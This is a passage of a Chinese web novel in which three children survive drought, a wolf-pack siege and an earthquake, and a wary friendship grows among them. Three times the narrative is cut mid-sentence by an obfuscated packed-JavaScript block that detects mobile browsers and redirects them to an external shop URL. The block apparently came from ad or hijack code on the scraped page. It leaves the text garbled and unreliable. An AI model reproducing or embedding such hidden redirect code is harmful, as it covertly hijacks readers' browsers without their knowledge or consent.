秦霄身上有伤,需要静养,更何况他还包揽了打猎和打水的活计。 只是今日他回来时,两只桦桶里都只装了小半桶水,还浑得发暗。 杜月棠只看一眼,心便沉了下去,“泉眼…… 彻底干了?” 秦霄点头:“是。” 好在先前存下的水省着用,还能撑上一个月。 他记得清楚,一个月后便会下雨。 只是这话不能说出口。大灾之后必有大疫,等到雨水一落,那些无人掩埋的尸首一泡,疫病必定蔓延。到时候闭门不出,守着山洞才最安全。 可这些话他没法跟姐弟俩解释。 说自己是重生而来?这般荒诞离奇的事,别说他们本就不算和睦,便是至亲骨肉,也不能轻易泄露。 他放下水桶,目光扫过满地晾晒的野菜树皮,不少根茎模样古怪,他连见都没见过,不由得眯起眼,多了几分怀疑,“这些…… 你确定都能吃?” 这话正好问到杜月棠的专业上了。 她语气笃定,自信满满,“自然能。味道不算好,但大多能清毒下火,也算半个草药。”所以压根就不用担心便秘。 秦霄心里其实有些意外。 这荒山看上去光秃秃一片,她竟能从石缝树根底下翻出这么多能入口的东西,确实是有些本事在身上的。 只是嘴上依旧不饶人,“还算有点用处,不然小爷一个人攒的那些肉干,岂不是白白便宜了你们姐弟两个。” 杜月棠早已习惯他这副德行。 而且就这关系,他不杀了自己和弟弟,都已经谢天谢地,还敢要求他能有什么好态度? 何况他也没说错,虽然他们姐弟是挖了不少野菜,但真要论功行赏,现在山洞里的水也好肉也罢,都该将功劳算再秦霄的头上。 这样一想,秦霄似乎也没有那么讨厌。 只是这泉眼干枯了,头两天还好,到了第三天,那些找不到水喝的动物,就像是疯了一样,在山里疯狂乱窜。 哪怕是山洞门口仍旧烧着火塘防御,但也不乏有那感知灵敏的动物找到这里。 如果是一只两只也就算了,而是成群结队,其中还不乏那大型野兽,即便是食草动物,但秦霄也没敢去招惹。 只是这样大的动静,在林中乱冲乱撞,嘶吼声昼夜不停。 所以莫说是晚上了,就是白天也不敢掉以轻心,三人开始轮流值守,如今只庆幸准备的柴火足够。 可即便是如此,也难以安眠。 “妈的,老子出去全砍了。”秦霄被吵得实在睡不着,一个鲤鱼打挺,拿起杜月棠那大刀就要出去。 杜月棠连忙拦住他,“外头有野牛,你不要命了。”在这山洞里只是吵闹些罢了,出去可是性命难保。 秦霄被她一拦,似也冷静了不少,随即笑起来,“也对,小爷我要是被野牛拱死了,这里么多吃的岂不是便宜你们姐弟两个了。” 杜月棠忽然有些后悔,刚自己为什么要拦着他? 不想也就她懊恼的功夫,那秦霄忽然跳脚,竟还生气起来,指责不已,“你果然盼着小爷死。” 杜月棠忽然有点不想理他了,但还是忍不住骂了句,“神经。”然后默默地坐回自己的草窝。 杜叙眼见阿姐本是好心,哪料想生性多疑的秦霄又生气,“霄哥,我阿姐不是那意思……” 他声音越说越小,最后在秦霄的怒瞪之下,直接禁了声。 然后也不言语了,缩到自家姐姐身旁卷缩躺下。 接下来几天,都被这些动物堵在外面,眼见着柴火不停歇地烧,已经是消耗了过半,杜月棠也不得不着急起来。 主动找到秦霄,“要不,想个办法吧?” “你能有什么办法?”现在的秦霄只懊恼,身上没有毒,不然直接提一桶带毒的水出去,全给毒翻算了。 杜月棠同样后悔,当时为什么不选修中草药。 不然现在就有大用了。 可是一开始,她也不知道会穿越啊。 8. 第 8 章 可惜,三个脑袋想破了,也没琢磨出一条稳妥的法子来。 最后只能咬牙等着,想着等这柴火快烧尽时,再提两桶水引开兽群,然后趁机抢运些枯木干草。 万幸这荒山到处都是天然柴火,不必再冒险入林砍伐,很快就能收集到足够的柴火。 可杜月棠心里始终悬着一块石头,生怕起风。 要是这风一起,火星被卷到干草枯木上,一点便是燎原大火。 到时候他们也是死路一条。 若是山洞再深些就好了,既能更好藏身,又不至于让洞中的水汽引来这么多野兽来。 然而还没等到这柴火烧完,不知道哪里来了一群狼,数量其实也不多,但显然也饱受口渴之苦,一来就横冲直撞的。 一下就将围在洞口的其他动物给冲散了。 今夜正好是秦霄值夜,火光摇曳中,洞外一双双幽绿眼眸明灭不定,他越看越觉得不对劲。 就这十几头狼,怎么可能把那么多大牲口都吓得退避三舍? 是弱肉强食的本能压制,还是…… 另有其他缘故? 他警惕地朝洞口处走了几步,试图一探究竟。 杜月棠和杜叙也被凄厉的狼嚎惊醒。 杜叙年纪小,早已吓得浑身发颤,杜月棠也好不到哪里去,手脚冰凉,不过作为姐姐,有个弟弟要照顾,她还是强撑着,一把拉住秦霄,“别出去,我们熬。” 不确定地望向洞口外,声音有些发飘,“说不定这群狼已是强弩之末,我们能熬死它们。” 这话,连她自己都不信。 而且早前面对食草野兽都不敢踏出半步,如今对上饿狼,又能有什么胜算? 所以当然不敢让秦霄去冒险。 秦霄不甘心地将刀一扔,在狭小的山洞里焦躁踱步,片刻后抓起那把修好的弓。 弓是以鹿筋为弦,韧性十足。 冷竹也早早就砍了不少,只是缺了箭头。 好在被困这些天,他们三人一得空闲就赶紧打磨兽骨做箭镞,可三个半大孩子,没有趁手工具,磨来磨去也只成了几支勉强能用的骨箭,能不能射穿狼皮,还未可知。 杜月棠一看他握弓,便知他是打定了主意,刚要上前帮忙,忽然听见头顶传来碎石落土的声响。 一抬头,竟有土块从洞口上方滚落,正砸在火塘里,火苗瞬间矮了一截。 杜月棠脸色骤变。 本来只当是运气差,天要绝人,可下一瞬便反应过来。 洞外的狼,竟少了近一半。 原来竟然是这些狼爬到了洞口上方,用爪子刨土,试图以这样的方式将洞口的火给灭掉! “后面有只狈!是这奸猾东西出的主意!” 秦霄怒喝出声。 他就说,十几头狼的小群,断不可能震慑住那么多走兽。 原来是狼狈为奸。 狼凶,狈奸,二者合一,便是山林里最让人忌惮的存在,便是山君遇到了都要退避三舍。 秦霄立刻搭箭拉弓,目光在黑暗中疾扫,势必将那只狈给射杀掉。 不然任由这只狈活着的话,今晚恐怕真要栽倒在这些狼口里。 可是如今是黑夜,那狈又聪明,除了狼王,简直就是一狼之下,万狼之上,必然被狼群保护在后方。 所以即便是白天,也不是那么容易就能找到它。 而且越来越多的泥土向下落,火塘的火苗越来越小。 杜月棠忙扯过从猎舍那里得来的那张大兽皮裹住杜叙,“阿叙,你躲好。” 随后自己拿地上的大刀,随时准备动手。 可是,山洞只有这么大,能躲到哪里去呢? 杜叙猛地从皮子里挣出来,“阿姐,我能帮忙!” 几乎是他话音刚落,秦霄手臂一紧,弓弦嗡然一响,“找到了!” 只是就在这一瞬,一双绿眼猛地逼近,一头狼竟悍不畏死地越过还未熄灭的火塘,直冲洞内而来! 杜月棠脑子一空,本能举刀去拦。 可她才八岁年纪,身形瘦弱,与这头饿狼体重相当。对方猛冲而来的惯性,根本不是她能挡得住的。 刀虽砍中狼身,却直接卡在了皮肉里,她自己也被狠狠撞飞出去,摔在后方的枯草堆上。 枯草缓冲了力道,才没让她重伤,只有手肘擦破一片皮肉。 可狼吃了痛,凶性大发,竟不顾近在咫尺的秦霄,直接扑朝杜月棠,森白利齿对准她纤细的脖颈。 “阿姐 !” 杜叙吓得失声尖叫。 杜月棠魂飞魄散,慌忙就地翻滚,抬起手臂下意识护在颈前。 而下一瞬,一股温热腥臭的血雾迎面泼来。 秦霄已站到她身前,一把将她拽起,手里那把从狼身上拔下的刀塞回她手中,面色冷硬,“下次瞄准点,直接砍脖子。” 这还用他说?杜月棠也想,奈何她没有那本事。 但现在杜月棠又惊又怕,哪还有力气顶嘴,只用力点头,“好!” 好消息是,秦霄射中了那只狈。 坏消息是,骨箭太软,没能一箭毙命,反而彻底激怒了狼群。 眼见有狼成功冲入,其余饿狼接二连三跟着扑进来。 秦霄就在洞口,手握着他那把锋利的匕首,速度快得让杜月棠分不清楚他和狼的身影。 而他就像是跟杜月棠说的那样,直接瞄准脖子,一刀一个。 原来他平日嘴毒刻薄,并非是故意刁难,而是这些事于他而言,本就如吃饭喝水一般简单。 可狼越来越多,火塘彻底熄灭,洞口再无屏障。 他再厉害,也只是个九岁孩童,旧伤未愈又添新伤,渐渐挡不住所有饿狼。 有只狼更是避开了他的阻挡,直扑洞里的姐弟二人。 这一刻,杜月棠不知从哪儿爆发出一股气力。 哪怕方才被狼撞飞,此刻仍咬牙站稳,双手攥紧大刀,怒喝一声劈出。 她没能像秦霄那样精准锁喉,却也狠狠劈在狼头之上。只是刀锋遇骨一滑,斜斜切入左侧头颅,顺势又砸在狼的前腿。 狼一声惨嚎,半边脑袋血肉模糊,前腿废断,也是当场失去战力。 可这只是暂时喘息。 火已全灭,黑暗中狼影重重,也亏得是那狈受了伤,如今没法指挥,那些狼又多日缺水,体力远不如从前,不然他们如何能撑这么久? 只怕早就沦为狼口之食。 可即便如此,在这样下去,他们三人死也是迟早的事情。 然而就在这绝望关头,洞外的狼嚎忽然稀疏下去。 连带着刚好不容易冲破了秦霄那道屏障的狼也都匆匆退出。 不过几息之间,嘶吼、扑咬声尽数消失,仿佛从未出现过。 连秦霄都愣住了,谨慎地往前踏出几步,朝外一望。 洞口空荡荡的,狼,全走了。 杜月棠心头一松,连忙上前,“怎么回事?” “不知道,全跑了。” 秦霄眉头紧锁,也想不通其中缘由。 狼走了总是好事,只是洞里打翻了不少水,如今仅剩寥寥几桶。 还没等松口气,方才还强撑着,早已是强弩之末的秦霄忽然身形一晃,摇摇晃晃栽倒在地。 姐弟俩慌忙冲过去,这才看清他浑身是血,狼血与人血混杂在一起,身上七八道抓痕,胸口那处旧伤更是被撕裂开来,白森森的骨头清晰可见。 杜月棠倒抽一口冷气,手忙脚乱就要撕扯衣裳为他包扎。 可她自己的衣裳早已被血污浸透,一旁的杜叙立刻脱下自己的衣服递过去:“阿姐,用我的。” 杜月棠用刀将布片划成布条,声音发颤却又异常的镇定,“阿叙烧水,把紫花地丁拿来。” 杜叙连忙提过装着草药的桦树桶,声音带着哭腔,“阿姐,他会不会死?” “不会。” 杜月棠咬着牙,“他又不是什么好人,常言道祸害遗千年,他肯定没那么容易死。” 其实今天之前,她还在计划什么时候带着弟弟偷偷离开,免得每日提心吊胆,恐这秦霄忽然朝他们动手。 但现在,她可以十分确定,这人就是单纯嘴贱吓唬他们罢了。 要真想杀他们,不会等这么久,今天又不会挡在山洞门口。 不然依照他的本事,一个人逃跑,最起码是有百分之八十的成功机率。 姐弟俩两人配合,先烧水给秦霄清理干净伤口,又将那紫丁地花简单熬煮,才敢敷在他的伤口上,方抱扎起来。 期间那秦霄疼得醒过来一次,意识到杜月棠姐弟在给自己抱扎伤口,眼中闪过一丝极淡的错愕。 是了,他以为他们姐弟俩会趁机撇下自己这个累赘逃跑的。 两世为人,他不知道见了多少狼心狗肺之人,若是自己还有些利用价值的时候还好,若没有了他们会立即丢弃。 也是如此,秦霄不敢相信任何人。 好不容易相信了一次,却最后被暗算惨死在那冰冷峡谷。 可是这两个傻子居然没扔下自己逃命去? 他们就不怕狼群只是暂时退去,转眼便会带着更多同伴卷土重来吗? 他想问,却连开口的力气都没有。 本就旧伤未愈,身形单薄,方才全凭一口血气撑着,此刻一松劲,便再度昏死过去。 杜月棠不知忙活了多久,左肩酸痛欲裂,每动一下都牵扯着剧痛。 终于包扎完最后一处伤口,她再也撑不住,软绵绵倒在枯草上。 “阿姐!” 杜叙慌忙扶住她。 杜月棠勉强挤出一个笑,“没事,就是累…… 你往火塘里添点艾草,熏熏血腥味。” 艾草能驱虫去秽,或许还能稍稍消毒。 话音落下,她眼皮一沉,彻底昏睡过去。 杜叙按照她的吩咐,往小火堆里放了些艾草,浓郁的艾草香从火塘上逐渐散开,他正要回头问问姐姐还有什么安排,却见杜月棠一动不动躺在那里。 杜月棠再次醒来时,左肩钻心刺骨地疼,稍一转头,便牵扯得整条胳膊都在发颤。 “阿叙?” 她声音虚弱得几乎听不清。 脚步声急促靠近,杜叙一双沾着泥污的小手出现在眼前,“阿姐,你醒了!你的肩膀也被狼抓伤了,我照着你给霄哥包扎的样子,给你上了药。” 杜月棠这后知后觉,自己竟也受了伤,方才慌乱之中竟毫无察觉。 她勉强扯出个艰难的笑,夸奖道:“阿叙真厉害。” 随即目光落在他满是泥污的手上,“你在做什么?” “我怕狼再来,我把那些狼尸体拖到洞口,在挖洞里被水打湿的泥敷上。”这个他很在行,毕竟平时里没什么娱乐的,就在墙根底下和稀泥建房子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479049|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在不过是拿狼的尸体堆在一起,把缝隙大的地方塞上泥而已。 只是可惜他太小了,力气也不大,只能勉强拖得动那些狼,要是能将这些狼垒起来就好了。 那样可以挡住大半的洞口,肯定会更安全。 杜月棠听到他的话,只觉得一阵心酸,他才五岁啊!也不知道自己昏迷的这段时间他究竟多害怕?却还能想出他自己能用的办法,来保护自己和秦霄。 想到秦霄,有些担心起来,毕竟他身上的伤太多了,“他怎么样了?” “我隔一会儿摸一下,没有姐姐你说的发热。”杜叙连忙回着。 听到这话,杜月棠松了口气,没醒来不要紧,没发热的话,就说明暂时没是大碍。 只是很快她又沮丧起来,本来就只剩下三桶水了,当时烧水清理伤口,后又熬煮紫花地丁,只怕下载水已是所剩无几了。 至于自己原来偷偷藏在外面地里的那些,也不知被其他动物挖到了没? 而且现在也不放心阿叙去取。 一时之间,又陷入了困境,还有那些狼忽然离开,也不知是何缘由? 是去找救兵,还是察觉到这里更危险? 可不管是哪一样,杜月棠觉得都不是什么好消息。 她接过杜叙递来的肉干,慢慢咀嚼着,“水还剩下多少?” 杜叙耷拉着脑袋,“就剩小半桶了。” 说着,不自觉朝洞口瞥了一眼自己刚砌的防御,看起来并没多大用处。 没了水,困在这山洞里,和在外面被野兽吃了,似乎也没什么两样。 杜月棠沉沉叹了口气,把嘴里的肉干咽下去,“扶我一下。” 她还是想出去看看,说不定自己藏的水还在。 杜叙一下就猜到了她的心思。 “阿姐,不用去看了,全都被刨开了,应该是野猪干的。”姐姐背着霄哥藏水的时候,还是自己放哨。 所以他已经去看过了。 以前听府里丫鬟说过,野猪鼻子灵得很,地里还没冒出头的冬笋,都能被它们一鼻子拱出来。 这话一出,杜月棠心里最后一点希望,也彻底灭了。 她目光往洞口外探了探,皱眉问:“外面怎么一直有鸟叫?” 醒过来时就听见外面鸟鸣不断,到现在还没散去,实在不对劲。 “是啊,狼是走了,可不知道为什么,好多鸟一直在天上绕。还有阿姐,外面地上全是蚂蚁虫子,还有好多耗子和蛇 。不是说蛇吃耗子吗?它们居然各走各的,互不打扰,着实奇怪得很。” 说起这事,杜叙仍觉得惊诧,长这么大,他从没见过这么多蛇虫鼠蚁遇到,却互不相干,实在是匪夷所思。 只是话说完,他忽然察觉姐姐脸色不对,“阿姐,怎么了?” 蛇虫鼠蚁这般反常,分明是在逃难。 杜月棠再联想到此前突然退走的狼群,一个可怕的念头猛地窜进脑海,连呼吸都急促起来:“阿叙,快收拾东西,能带走的全都带上,这里不能待了!” 动物异动,必是天灾将至。 杜月棠说不清具体是什么,但此地绝不能久留。 “啊?” 杜叙满脸疑惑,却半点没有迟疑,“姐你快坐下,我来收拾。” 东西本就不多,可肉干怕是带不了多少。 若是杜月棠和秦霄都没受伤,兴许还能多挂几个桦树桶,或是直接用兽皮裹着干粮上路。 可杜月棠左肩受了伤,别说背扛挑拿,就连自己走路,都牵扯得半个上身疼。更别提秦霄,自昏过去后就再没醒过。 杜叙年纪虽小,但这些日子挖野菜剥树皮,还跟着打磨骨头做箭簇,手脚早已练得麻利。 很快就收拾出一堆肉干和野菜干,可看着地上一动不动的秦霄,终究面露难色,“阿姐,霄哥怎么办?” 是啊,秦霄怎么办? 就这么扔下他,杜月棠良心上过不去。 他落到如今这副半死不活的模样,全是为了护着她和弟弟。毕竟凭他的本事,若是独自逃生,早就跑了。 这嘴硬心软的家伙。 杜月棠深吸一口气,目光落在从猎舍找来的那张宽大兽皮上,“把他裹进皮子里捆好,我拖着他走,你带干粮。” “阿姐,你的伤……” 杜叙自责不已,若是自己再强壮些,就能背着霄哥离开了。 杜月棠摇头打断他,“没事,抓紧时间。” 她垂眸看了看包扎得凹凸不平的左肩,忽然想起小时候磕着碰着,院长妈妈说过的话:‘那里没有肠子,死不了。’ 所以不过是肩膀受伤,死不了的。 天灾究竟是什么还不清楚,说不定下一刻就会降临。此刻时间就是性命,必须争分夺秒。 她和杜叙合力将秦霄挪进兽皮,仔细捆扎牢靠,杜月棠把绳子搭在右肩,拖着人就往洞外走。 杜叙已经推开刚砌好没多久的狼尸,身上挂满了装肉干的兽皮包裹,还挂着好几只木桶,压得他本就瘦小的身子微微佝偻。 天空中,鸟群依旧惊慌乱飞,鱼鳞状的云铺满了整片天际。 杜月棠虽没有什么确切依据,却也听过鱼鳞云兆地震的说法。 再结合飞禽走兽的种种异常,她几乎可以肯定,这一带极有可能要发生地震 ,也就是古人说的地龙翻身。 必须尽快找一处平坦开阔的地方,躲避这场灾祸。 9. 第 9 章 杜月棠拖着秦霄,右肩被粗糙的构皮绳勒得生疼,左肩伤口牵扯着阵阵刺痛,冷汗浸湿后背,却不敢停下半步。 同样身负着包裹水桶的杜叙跟在她身侧,仍咬牙扶着她,“阿姐,我跟你一起。” 过度的用力,又带着伤,杜月棠只觉得喉咙里又干又痒,气虚喘喘,“不用,你走快些,在前面找个宽敞平坦的旷野,我……我怀疑,可能会有地龙翻身。” 几乎是她话音刚落,忽得这燥热了不知多少天的空气里,竟然吹来了一股陌生的凉风。 紧接着天空骤暗,鱼鳞云密布,风卷尘土碎石打脸。 鸟群凄厉,慌不择路地到处乱飞,蛇虫鼠蚁更是慌乱逃窜,天地间满是不安。 杜叙脸色发白,哆嗦着嘴唇,“阿姐,地地地龙要来了么?”他其实并不清楚地龙翻身是什么。 但是眼下突变的景象还是吓着了他。 “别怕,咱们快走。”杜月棠话虽如此,但脚步越发挪得艰难。 杜叙像是个驮满了货物的小骡子,“阿姐,我们往北边走,那边有个大些的坝子。”而且离他们不算是太远。 现在他只懊恼,都怪自己什么都不懂,要是早发现外面的飞禽走兽不对劲,先将肉干菜干都先搬过去,那现在就能和姐姐一起帮忙了。 走了一段,杜月棠心里突突跳个不停,那种前世熟悉的窒息感又来了。“阿叙你快跑。” 只是不同于前世的窒息是心脏本身的问题,现在却是天地间的异变所施压的。 因此她不确定,地震是不是下一刻就开始,早些让弟弟跑到平坦的地方,就能活下来。 至于自己,她回头看了看被裹在皮子里的秦霄,昏迷中的他眉头拧成一团,很显然自己每往前走一步,他浑身的伤就因这凹凸不平的地面而摩擦一次。 如此,怎能不疼呢? 一步,两步,三步四步…… 每走一步,杜月棠觉得都犹如千斤重一般,且还有一种肩上的重量还在不断叠加的感觉。 只是好在,眼前终于豁然开朗,她离那块相对安全些的山谷平坝,咫尺再近了。 她心中一喜,顿时也不知哪里来的力量,脚步居然快了几分。 已经放下行李的杜叙正飞快地迈着小短腿朝她跑来,“阿姐!” 有了杜叙的帮忙,杜月棠肩膀上的重量的确轻了不少。 终于,就在他们姐弟俩踏入这块平坝的范围之际,地底忽然传来低沉轰鸣,脚下开始微微晃动。 “地震了!”杜月棠心头一沉,猛地加速拖拽秦霄,“阿叙,快跑!” 晃动愈发剧烈,身后不远处的山体瞬间断裂,碎石滚落。 杜月棠左肩伤口挣裂,鲜血立即浸透肩膀,却死死攥着绳子,心里只有一个念头!走!继续走!只有走下去才有活着的机会! “霄哥动了!”杜叙大喊。 秦霄微微蠕动,发出微弱闷哼。 就在此时,一块磨盘大的石头朝着他们的方向滚落而来,杜月棠猛地推开杜叙,自己拽着秦霄扑向一侧。 虽是避开了这石头,可杜月棠的左肩却因为这一扑,瞬间鲜血横流。 杜叙慌忙跑过去,连忙将杜月棠扶起。 可地面晃动得太厉害了,他们连站都站不稳。 这时候秦霄已然睁眼,声音虚弱不已,“你们,走,快走!” “闭嘴!”杜月棠哽咽,继续将绳子搭在肩膀上,“我们不会死的!” 杜叙和她相互掺扶,一起拖拽着兽皮里的秦霄向前移动。 也是他们刚离开,方才扑倒的地方忽然开裂,轰鸣声刺耳。 与此同时身后的山体四分五裂,山石快速朝周边滚落。 好在那一条裂开的地缝,将这些滚落的山石阻断,不然就算是他们逃到了这平坝上,也未必能脱线。 大约过了两个呼吸,剧烈的山摇地动终于停下了,天黑漆漆的,彷佛要压下来一样。 杜月棠抱着弟弟紧靠在秦霄身旁,仍旧控制不住地浑身发抖。 此刻的秦霄浑身上下没有哪里不痛,也是这剧烈的疼痛让他的脑子变得无比的清醒。 他方才,经历了一场死亡。 此刻艰难地抬眼看朝抱着杜叙的杜月棠,苍白的脸,鲜血染透了的肩膀,一种前所未有的奇怪感觉在他心里蔓延开。 居然,真的会有人会冒着险救自己。 以前战场上,不是也没有出身入死的好兄弟,可一直都是他冲在前面,挡在他们身前。 还是第一次,有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479050|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 豁出去性命保护自己。 好奇妙,又好古怪。 他声音哽咽,想骂他们,可眼泪又忍不住朝外迸发,“傻子,杜县令那种狗官,居然生出你们姐弟两个这样的傻子!” 杜月棠也在哭,太可怕了,这是真正的山崩地裂,原本他们要费劲翻越的山岭,现在或是直接没了,要么就是被一堆乱石杂木取而代之,甚至许多地方,都是干燥的黄土大面积暴露在外。 入目皆是疮痍,没能逃脱的山兽如今正发出一声声悲鸣惨叫。 听到秦霄骂他们,不但不像是以往那般生气,反而笑起来,“还有力气骂人,我看你好得很。”亏得自己还担心,这一路拖拽着他跌跌撞撞的,怕是让他伤势更加严重。 但听着语气,竟有着几分精神。 杜叙听到他们的对话,这才兢兢战战将头从姐姐怀里抬起来,本是想查看秦霄的状况,却见到处都秃了。 高山没了,有的地方甚至凹下去,或是大条大条的裂缝,犹如峡谷,犹如深渊。 他吓得目瞪口呆,一句话也说不出来。 杜月棠轻轻拍着他的后背安抚,“没事了,没事了,都好了,阿叙别怕。” “阿姐,呜呜呜……”听到她的声音,杜叙像是才回过魂来,大声哭起来。 三人就这样在这平坝上落脚。 然云雾退散,熟悉的热风又来了。 杜月棠不确定是否还有余震,所以哪怕好几处坍塌山石犹如天然的洞穴,她也不敢贸然带着他们过去。 此刻又是正直晌午,头顶没了可遮阴躲凉树枝或是山影,杜月棠便指挥着杜叙在附近捡来几根被砸断的树枝,插到泥土里,将带来的鹿皮狼皮盖在上面。 简单形成一个遮阴棚。 至于她,本来左肩就被狼抓伤,拉着秦霄逃的时候又撕裂开,右肩上更是被构皮绳磨进血肉。 这时候,其实还要感谢杜县令没拿他们这些庶子女当回事,从未享受过那养尊处优的好日子,有小病小症全靠自己扛过去。 也正是这样,现在哪怕她受了伤,这身体的抵抗力还不错,最起码就目前为止伤口都没感染。 如今和吃过些肉干的秦霄一起躺在皮子上。 眼下两人就全靠着五岁的杜叙照料。 10. 第 10 章 别看杜叙年纪小,照顾起姐姐和秦霄来,却是格外细心妥帖。 此刻见姐姐与秦霄都已昏睡过去,他便轻手轻脚清点起干粮。 只是所剩的水已然不多,他自己早已口干舌燥,却半口都舍不得喝,最多只是微微抿一抿,润一润干裂的嘴唇。 从山洞里带出的吃食,肉干三桶,野菜干两桶 ,几乎全是紫花地丁,另外还有一捆晒干的艾草。 热风一阵接一阵地钻进简易棚子,杜叙点燃艾草,细细将歇息之处熏了一遍,驱赶蚊虫浊气。 做完这一切,才小心翼翼蜷缩到姐姐身旁。 后来又接连发生了几次余震。万幸群山早已被震得移平,无数山石滚落深渊裂缝,他们身处的这片旷野反倒安稳无事。 只是每一次地动传来,都难免心惊胆战,生怕晌午前那般天崩地裂的景象再度重演,更怕脚下平地骤然裂开。 好在次次都有惊无险,安然度过。 这一觉,三人睡得格外漫长。 前一夜刚经历狼群偷袭,紧接着又是地龙翻身,几人早已累到极致,困意沉沉。 再次醒来时,伤势最重的秦霄精神反倒好了不少,恢复速度竟比杜月棠还要快上几分。 果然不愧是习武之人,筋骨强健,恢复力异于常人。 又过两日,杜月棠身上的伤口开始结疤。虽瘙痒难耐,却也总算度过了最危险的时期,不必再担心伤口感染化脓。 真是老天爷保佑。 秦霄除了胸口那道深可见骨的重创,其余皮肉伤开始愈合结疤。 一切都在往好的方向发展,唯独桦树桶里的水,快要见底了。 再怎么省着用,人总要喝水,更何况热浪滚滚不止,若是断了水,谁也撑不下去。 秦霄拄着杜月棠那柄大刀,眯眼望向远处断裂崩塌的群山,偶尔能听见几声野兽哀嚎传来。 “这么多地方都塌了,我出去找找,说不定能寻到水源。” “让阿叙跟你一起去,也好有个照应。” 杜月棠终究放心不下。 秦霄如今虽对他们姐弟心存感激,可那一身桀骜脾气,却不是一时半刻能改的。 “你看不起谁?不过一点皮肉小伤。” 他嫌弃地瞥了杜叙一眼,“再说让他跟着,除了拖后腿还能做什么?不如留在这儿照看你。” 说完,就扛着刀径自扬长而去。 杜月棠无奈扯了扯嘴角,换了个舒服的姿势,靠在身后的木桩上。 那木桩是昨日杜叙好不容易从乱石堆里滚过来的,是地震时被山石砸断的残木。 杜叙生怕姐姐因秦霄的话动气,连忙轻声宽慰,“阿姐,霄哥本事大,不会有事的。何况我也不放心留你一个人。” “是他不知好歹,我还舍不得你出去冒险。” 这几日弟弟日夜照料两人,早已累得够呛,杜月棠当即让他躺下歇息。 再说秦霄这一去,竟足足两个多时辰。眼见天色渐暗,日暮沉西,杜月棠的心一点点悬了起来。 她倒不是怕他趁机逃走,而是怕他旧伤复发,或是不慎坠入深坑裂缝。 这荒山野岭、断壁残垣之间,一旦出事,真是叫天天不应,叫地地不灵。 可杜月棠终究还是小看了秦霄的本事。 眼见暮色越来越浓,那道挺拔身影终于出现在旷野尽头。 “是霄哥回来了!” 早已翘首以盼的杜叙喜出望外,快步跑上前去迎接。 秦霄心情显然极好,肩上挂着两只野鸡,带去的两只桦树桶也装满了水。 他那张轮廓特别好看的脸上,满是掩不住的得意,将两桶水径直放到杜月棠面前,扬着下巴道,“怎么样?小爷厉害吧!” 没肉尚能勉强撑着,没水却是真的活不下去。杜月棠心中松了一大口气,也不吝啬夸赞,“是是是,你小秦爷天下无敌,我们姐弟俩以后可就全仰仗你照顾了。” 明明语气带着几分敷衍,秦霄却听得眉开眼笑,将野鸡扔给杜叙,“内脏我已经掏干净了,你先把鸡毛烧掉。” 按常理本该烧水烫毛拔羽,只是眼下水源珍贵,实在奢侈不起。 杜叙乐呵呵地接过,提着野鸡走向一旁火堆。 这时秦霄忽然一脸神秘,故作高深,“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17479051|201644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们猜猜,我这一趟出去,还寻到什么宝贝了?” “什么宝贝?” 换作旁人,杜月棠未必上心,可连秦霄都视作宝贝的东西,定然不一般。 她一时也好奇起来。 杜叙更是满眼期待,“霄哥,是什么呀?” 只见他从脏得看不出原色的袖袋里掏出一物,递到两人面前,“瞧瞧,可认得?” “老参?” 杜月棠眨了眨眼,有些不确定。 实在是这参个头太小,还不如她前世大棚里种的三年参。 “没想到你还挺识货。可惜山洞里的陶罐没能带出来,不然正好炖一锅老参鸡汤,好好补补身子。” 说起山洞里没能带出的粮食家当,秦霄又忍不住咬牙骂道:“都怪那些该死的狼!下次再让小爷遇上,定要将它们尽数宰了!” 杜月棠早已没心思听他骂狼。 满脑子都是鲜香滚烫的鸡汤。 “我们有多余的兽皮,做个皮兜来煮,应当可行?” 被她这么一提醒,秦霄顿时大喜,觉得这主意实在妥当,当即收了骂声,拿起匕首动手制作皮兜。 不多时,一只狼皮做的简易皮兜便成了。 他往里倒入大半桶水,再将杜叙处理好的两只野鸡放进去,略显拥挤,却也无妨。 他又掰下半截人参丢入水中,“这东西大补,咱们还是悠着点。”不然会流鼻血。 说完便坐在火塘边,亲自守着熬煮鸡汤,一边又麻利地做了三只小皮兜,递给杜月棠姐弟各一只,“往后这就是咱们吃饭的家伙。” 杜叙捧着小巧的皮兜,爱不释手,“多谢霄哥。” “早就说过,以后跟着小爷,保准你们吃香喝辣,可不是随口哄你们玩的。”大概是终于能吃上一顿像样的热食,秦霄心情格外畅快。 火势旺盛,不多时,兽皮兜里的水便咕嘟咕嘟翻滚起来,浓郁鲜香的野鸡汤气息随着热气四散开来。 杜月棠被勾得喉间发紧,下意识望向火塘上挂着的皮兜。 